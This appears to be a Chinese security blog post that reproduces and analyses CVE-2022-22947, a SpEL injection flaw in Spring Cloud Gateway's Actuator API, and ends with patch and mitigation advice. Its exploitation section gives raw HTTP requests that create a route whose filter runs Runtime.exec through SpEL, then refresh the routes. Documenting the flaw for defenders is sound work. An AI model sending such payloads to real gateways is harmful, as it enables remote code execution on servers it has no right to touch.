CVE-2022-22947 漏洞复现及分析
背景
前置知识
API网关
在微服务架构中,由于一个系统由多个服务组成,客户端不再直接请求服务,而是添加了API网关的概念。客户端直接向API网关发起请求,由API网关对请求进行处理,并分发给不同的服务。
具体区别如下图:
Spring Cloud Gateway
概念
Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件。
Spring Cloud GateWay 最主要的功能就是路由转发,而在定义转发规则时主要涉及了以下三个核心概念,如下表。
核心概念 | 描述 |
---|---|
Route(路由) | 网关最基本的模块。它由一个 ID、一个目标 URI、一组断言(Predicate)和一组过滤器(Filter)组成。 |
Predicate(断言) | 路由转发的判断条件,我们可以通过 Predicate 对 HTTP 请求进行匹配,例如请求方式、请求路径、请求头、参数等,如果请求与断言匹配成功,则将请求转发到相应的服务。 |
Filter(过滤器) | 过滤器,我们可以使用它对请求进行拦截和修改,还可以使用它对响应进行再处理。 |
Actuator API
官方文档: https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api
暴露网关
通过/gateway
这个Actuator可以监控并且和网关进行交互,前提是将该endpoint暴露给Web
通过配置application.properties允许web访问api
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
网关允许的操作
网关支持的所有操作如下图,我们可以看到其支持通过POST请求添加一个新的route
添加路由
官网给出的例子如下,可以创建一个简单的Route
添加过滤器
上面的路由中最关键的过滤器为空,官方提过了多种自定义过滤器
https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#the-rewritepath-gatewayfilter-factory
以RewritePath
为例:
发送如下两个请求就可以添加一个路由器,并将http://127.0.0.1:9000/red
重定向为https://blog.dre4merp.top/
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 346
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/red/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/red/?(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://blog.dre4merp.top",
"order": 0
}
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Length: 2
SpEL表达式
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
漏洞分析
漏洞点分析
查看类的继承关系,发现所有的内置filterFactory
都实现了ShortcutConfigurable
接口,所以添加的过滤器都会经过ShortcutConfigurable
漏洞点就位于org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
中,查看源码发现filter
的参数支持SpEL表达式,而且是通过StandardEvaluationContext
使用表达式,完美满足了SpEL表达式注入的条件。
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}
漏洞利用
创建路由
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 340
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.Strin(T(org.springframework.util.StreamUtils).copyToByteArray((java.lang.Runtime).getRuntime().exec(new String[{\"calc\"}).getInputStream()))}"}
}],
"uri": "https://blog.dre4merp.top",
"order": 0
}
刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞防护
官方修复
官方已经发布了针对CVE-2022-22947的补丁
具体方案如下:
在 ShortcutConfigurable
接口中的 getValue
方法中,使用自定义的 GatewayEvaluationContext
类替换了原来的 StandardEvaluationContext
类。查看 GatewayEvaluationContext
类的实现可知,其是对 SimpleEvaluationContext
类的简单封装。
通过查询文档可知,StandardEvaluationContext
和 SimpleEvaluationContext
都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等。因此通过将 StandardEvaluationContext
类替换为 GatewayEvaluationContext
类,可以限制执行注入的 SpEL 表达式。
临时修补
禁用 actuator gateway
通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id}
API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档可知,启用 actuator gateway 需要设置以下两个配置的值:
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
因此只要这两个选项不同时满足,就不会启用 actuator gateway。
HotPatch
通过Agent技术将内存中的ShortcutConfigurable#getValue
修改为使用GatewayEvaluationContext
调用SpEL表达式。